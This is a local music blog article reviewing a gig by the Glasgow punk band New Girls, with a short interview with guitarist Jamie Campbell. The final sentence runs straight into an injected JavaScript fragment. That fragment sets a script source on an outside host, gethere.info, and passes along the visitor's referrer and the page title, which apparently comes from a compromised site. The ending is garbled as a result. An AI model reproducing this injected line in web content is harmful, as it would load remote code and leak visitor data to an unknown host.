Local Focus: New Girls

by Sophie McNaughton

new girlsImagine, if you can, a band that embody a patented blend of Queens of the Stone Age mixed with Talking Heads, Iggy Pop and The Stooges and then distilled through the Sex Pistols with a few Guns n’ Roses riffs thrown in for good measure. As dangerous and face-melting as this particular musical cocktail may sound, somehow it works. Introducing New Girls, an emerging rock band from Ayrshire/Glasgow who describe their style as “gender confused punk”.

The band – consisting of feral frontman Arion Xenos on lead vocals; charismatic lead guitarist and supporting vocalist Jamie Campbell; bassist Alex Phillips; and drummer Scott McRae – recently performed at West of the Moon in Ayr, supporting the 2014 Scottish Alterative Music Awards ‘Best Live Act’ Winners: Mickey 9s.

New Girls electrifying and diverse set – blasted through Ayr’s equivalent of King Tuts– included original songs such as Project 3, Europe, We’re All The Same, Beanstalk and the new single Skinny Dream (available to download for free from the band’s Soundcloud). With an encore of Little Sister by Queens of the Stone Age and a unique cover of Seven Nations Army, New Girls had the crowd cheering on their wild rock n’ roll musical medley.

In a band that’s just starting out, it’s rare to find the level of chemistry, Sid Vicious-like stage presence and entertainment value that these guys put on show. After witnessing their ingenious, powerful brand of punk-infused metal and a performance oozing with passion, energy (bordering on insanity), and rock n’ roll attitude, I have no doubt that it won’t be long until New Girls are headlining their own sold out shows.

I caught up with guitarist Jamie Campbell after the gig to find out more about this wild, metrosexual and up-and-coming band.

What are the biggest challenges of starting out as a new band in Glasgow?

“The unsigned Glasgow scene is really fun but it’s also difficult. People are both excited by the music and apprehensive to invest their time and money in an act they don’t already know. There are loads of opportunities for young and unsigned bands, which is great, but most of these are reserved for the few who already have an established following so breaking the mould and getting people’s attention takes a lot of work.”

I love the band’s name! Who came up with “New Girls”?

“Arion was the one who came up with it! He decided our love for Zooey Deschanel had to be portrayed to the people but obviously we couldn’t be called “The Zooey Deschanel’s”, so we decided “New Girls” would be best. It’s also a great way to deceive unsuspecting audiences, because we’ve been told after our shows a few times that people were expecting a band of lesbians!”

What do you guys make of the unsigned music scene in Glasgow?

“There are so many venues that open their doors to almost any band who wants to play which is great. Playing live is the perfect way to meet other aspiring musicians and bands and, at times, it can feel like a music ‘scene’ of sorts, even though everybody plays so many different styles of music. I feel like that definitely sets Glasgow apart from most cities because there is so much diversity here. No matter what your taste in music is, you’ll find something you like in Glasgow.”

Starting out as a new act in a city as cosmopolitan as Glasgow is never going to be easy but nowadays, with help from social media, there are countless opportunities for new bands across Scotland to get noticed. To discover some of the country’s new unsigned talent, you can tune in to STV Glasgow’s The Riverside Show, click onto BBC Introducing, drunkenly stumble over to the T Break stage at T in the Park this summer or just take a stroll down Buchanan Street where you’ll always see some bonnie buskers.

Following the unsigned music scene is the only way you’ll get a glimpse into the magical music of the future and no matter where we live, we should all be showing support for our local bands. ’Mon the New Girls!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;